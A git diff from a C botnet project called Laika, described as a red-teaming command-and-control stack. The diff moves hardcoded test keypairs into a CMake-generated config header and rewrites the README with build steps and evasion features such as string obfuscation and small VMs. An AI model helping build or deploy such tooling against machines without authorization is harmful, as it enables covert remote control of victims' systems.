diff --git a/.vscode/settings.json b/.vscode/settings.json
index 91f99c5..f6dbcf0 100644
--- a/.vscode/settings.json
+++ b/.vscode/settings.json
@@ -23,7 +23,8 @@
         "variant": "cpp",
         "stdio.h": "c",
         "bit": "c",
-        "limits": "c"
+        "limits": "c",
+        "*.in": "cpp"
     },
     "cSpell.words": [
         "CWARN",
diff --git a/README.md b/README.md
index 70758c7..1bcc7a6 100644
--- a/README.md
+++ b/README.md
@@ -1,7 +1,32 @@
 # Laika
 
-This is a simple POC botnet written in C99. The net library shares some similarities to [FoxNet](https://github.com/CPunch/FoxNet), in fact lpolllist.c is just a port of the FoxPollList class. This botnet is also crossplatform with clients written for each platform (check the /clients folder).
+Laika is a simple botnet stack for red teaming. It allows authenticated communication across a custom protocol with generated key pairs which are embedded into the executable. 
 
-## Why?
+Some notable features thus far:
+- Lightweight, the bot alone is 80kb and uses very little resources.
+- Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.)
+- Simple configuration using CMake (setting keys, obfuscation modes, etc.)
 
-Malware development in recent years is soooooooo boring (esp. malware written by non-nationstate actors). I wanted to prove that homebrew malware can still be interesting and fun! Obviously use this on your own machines/get permission before running etc. etc.
\ No newline at end of file
+## Why 'Laika'?
+
+During the soviet space race, [Laika](https://en.wikipedia.org/wiki/Laika) was the first dog in space; however shortly after died of asphyxiation and overheating of the shuttle. Take whatever you want from this information.
+
+## Configuration and compilation
+
+First, compile the target normally
+
+```
+cmake -B build && cmake --build build
+```
+
+Now, generate your custom key pair using `genKey`
+
+```
+./bin/genKey
+```
+
+Next, rerun cmake, but passing your public and private keypairs
+
+```
+rm -rf build && cmake -B build -DLAIKA_PUBKEY=997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814 -DLAIKA_PRIVKEY=1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841 && cmake --build build
+```
diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c
index c785d1e..29f4fc5 100644
--- a/cnc/src/cnc.c
+++ b/cnc/src/cnc.c
@@ -63,6 +63,7 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
         LAIKA_ERROR("LibSodium failed to initialize!\n");
     }
 
+    LAIKA_DEBUG(LAIKA_PUBKEY);
     if (sodium_hex2bin(cnc->pub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
         laikaC_freeCNC(cnc);
         LAIKA_ERROR("Failed to init cnc public key!\n");
diff --git a/lib/CMakeLists.txt b/lib/CMakeLists.txt
index 7ba4147..d1da688 100644
--- a/lib/CMakeLists.txt
+++ b/lib/CMakeLists.txt
@@ -5,12 +5,24 @@ set(CMAKE_C_STANDARD_REQUIRED ON)
 
 set(LIB_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
 
+# DO NOT USE THESE KEYS, TESTING ONLY
+if(NOT LAIKA_PUBKEY)
+    set(LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814")
+endif ()
+
+if(NOT LAIKA_PRIVKEY)
+set(LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841")
+endif ()
+
 # version details
 set(LAIKA_VERSION_MAJOR 0)
 set(LAIKA_VERSION_MINOR 0)
 
 project(LaikaLib VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
 
+message(STATUS "Building config file")
+configure_file(${LIB_INCLUDEDIR}/lconfig.h.in ${LIB_INCLUDEDIR}/lconfig.h)
+
 # Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
 set_property(GLOBAL PROPERTY USE_FOLDERS ON)
 
@@ -23,7 +35,7 @@ add_library(LaikaLib STATIC ${LIBSOURCE})
 target_link_libraries(LaikaLib PRIVATE ${sodium_LIBRARY_RELEASE})
 
 # add the version definitions and the 'DEBUG' preprocessor definition if we're compiling as Debug
-target_compile_definitions(LaikaLib PUBLIC LAIKA_VERSION_MAJOR=${LAIKA_VERSION_MAJOR} LAIKA_VERSION_MINOR=${LAIKA_VERSION_MINOR} "$<$<CONFIG:Debug>:DEBUG>")
+target_compile_definitions(LaikaLib PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
 
 # add include directory
 target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR} ${sodium_INCLUDE_DIR})
diff --git a/lib/include/laika.h b/lib/include/laika.h
index b82b6cb..46676ed 100644
--- a/lib/include/laika.h
+++ b/lib/include/laika.h
@@ -16,22 +16,6 @@
 #define LAIKA_DEBUG(...)
 #endif
 
-/* for intellisense */
-#ifndef LAIKA_VERSION_MAJOR
-#define LAIKA_VERSION_MAJOR 0
-#endif
-
-#ifndef LAIKA_VERSION_MINOR
-#define LAIKA_VERSION_MINOR 0
-#endif
-
-/* for testing!! make sure you pass your generated keypair to cmake */
-#ifndef LAIKA_PUBKEY
-#define LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814"
-#endif
-
-#ifndef LAIKA_PRIVKEY
-#define LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841"
-#endif
+#include "lconfig.h"
 
 #endif
\ No newline at end of file
diff --git a/lib/include/lconfig.h b/lib/include/lconfig.h
new file mode 100644
index 0000000..78f833d
--- /dev/null
+++ b/lib/include/lconfig.h
@@ -0,0 +1,13 @@
+#ifndef LAIKA_CONFIG_H
+#define LAIKA_CONFIG_H
+
+/* version info */
+#define LAIKA_VERSION_MAJOR 0
+#define LAIKA_VERSION_MINOR 0
+
+/* keys */
+#define LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814"
+#define LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841"
+
+
+#endif
diff --git a/lib/include/lconfig.h.in b/lib/include/lconfig.h.in
new file mode 100644
index 0000000..0e2d095
--- /dev/null
+++ b/lib/include/lconfig.h.in
@@ -0,0 +1,13 @@
+#ifndef LAIKA_CONFIG_H
+#define LAIKA_CONFIG_H
+
+/* version info */
+#define LAIKA_VERSION_MAJOR @LAIKA_VERSION_MAJOR@
+#define LAIKA_VERSION_MINOR @LAIKA_VERSION_MINOR@
+
+/* keys */
+#define LAIKA_PUBKEY "@LAIKA_PUBKEY@"
+#define LAIKA_PRIVKEY "@LAIKA_PRIVKEY@"
+
+
+#endif
\ No newline at end of file
diff --git a/tools/genkey/src/main.c b/tools/genkey/src/main.c
index 2a8a82b..5823e6a 100644
--- a/tools/genkey/src/main.c
+++ b/tools/genkey/src/main.c
@@ -5,7 +5,7 @@
 #include "lrsa.h"
 
 #define DATA "Encryption/Decryption test passed!\n"
-#define DATALEN 35
+#define DATALEN 36
 #define CIPHERLEN crypto_box_SEALBYTES + DATALEN
 
 int main(int argv, char **argc) {